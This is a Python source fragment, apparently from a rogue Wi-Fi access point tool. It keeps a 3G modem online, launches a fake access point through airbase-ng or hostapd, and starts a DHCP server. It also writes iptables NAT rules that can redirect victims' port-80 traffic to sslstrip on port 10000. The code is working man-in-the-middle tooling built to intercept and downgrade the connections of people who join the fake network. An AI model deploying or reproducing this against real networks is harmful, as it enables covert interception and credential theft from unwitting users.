def maintain_connection(self): sawMessage, sawMessage2 = False, False while self.dorun: detected = self.is_plugged() while not detected and self.dorun: if not sawMessage2: logging.info("No modem detected. Will check every 5 seconds until one apears, but won't show this message again.") sawMessage2 = True time.sleep(5) detected = self.is_plugged() sawMessage2 = False if self.status() != "Connected" and detected and self.dorun: logging.info("Modem detected, but not currently online. Attempting to connect to 3G network '%s'" % self.apn) self.connect(self.apn) time.sleep(2) if self.status() == "Connected": logging.info("Successfully connected to '%s'" % self.apn) run_program("ntpdate ntp.ubuntu.com") else: logging.info("Could not connect to '%s'. Will try again in 5 seconds" % self.apn) else: if not sawMessage: logging.info("Modem is online.") run_program("ntpdate ntp.ubuntu.com") sawMessage = True time.sleep(5)
def run_ap(self): run_program("killall airbase-ng hostapd") time.sleep(4) # Make sure interface exists if self.wlan_iface not in netifaces.interfaces(): logging.error("No such interface: '%s'" % self.wlan_iface) if not self.hostapd: return False proc = run_program(self.airb_cmd) if proc.poll(): logging.error("Airbase has terminated. Cannot continue.") return False # Wait for airbase self.rogueif interface to come up while self.rogueif not in netifaces.interfaces(): #Should add a timeout logging.debug("Waiting for airbase interface to come up.") time.sleep(1) self.procs['airbase'] = proc logging.debug("Airbase interface is up. Setting IP...") run_program(self.set_ip_cmd) # Wait for IP to be set ipSet = False while not ipSet: try: if netifaces.ifaddresses(self.rogueif)[2][0]['addr']: ipSet = True except Exception: time.sleep(2) pass logging.info("IP address for access point has been set.") return True
def do_nat(self): # Handle NAT ipt = ['iptables -F', 'iptables -F -t nat', 'iptables -t nat -A POSTROUTING -o %s -j MASQUERADE'%self.net_iface, 'iptables -A FORWARD -i '+self.rogueif+' -o %s -j ACCEPT'%self.net_iface] if self.do_sslstrip: ipt.insert(2, 'iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000') for rule in ipt: run_program(rule) run_program("sysctl -w net.ipv4.ip_forward=1")
def run_sslstrip(self): run_program("killall sslstrip") time.sleep(2) proc = run_program(self.launch_sslstrip) if proc.poll(): response = proc.communicate() response_stdout, response_stderr = response[0], response[1] if response_stderr: logging.error(response_stderr) else: logging.error("Unable to launch sslstrip.") return False self.procs['sslstrip'] = proc return True
def run_dhcpd(self): run_program("killall dnsmasq") time.sleep(3) proc = run_program(self.launch_dhcp) if proc.poll(): response = proc.communicate() response_stdout, response_stderr = response[0], response[1] if response_stderr: logging.error(response_stderr) else: logging.error("Unable to launch dhcp server.") return False self.procs['dhcp'] = proc return True
def shutdown(self): #Kill kill kill self.notifier.stop() run_program("killall airbase-ng") run_program("killall hostapd") run_program("killall dnsmasq") run_program("killall sslstrip") run_program("iptables -F") run_program("iptables -F -t nat") run_program("sysctl -w net.ipv4.ip_forward=0") os.remove("/etc/dhcpd.leases") os.remove("/tmp/sslstrip.log")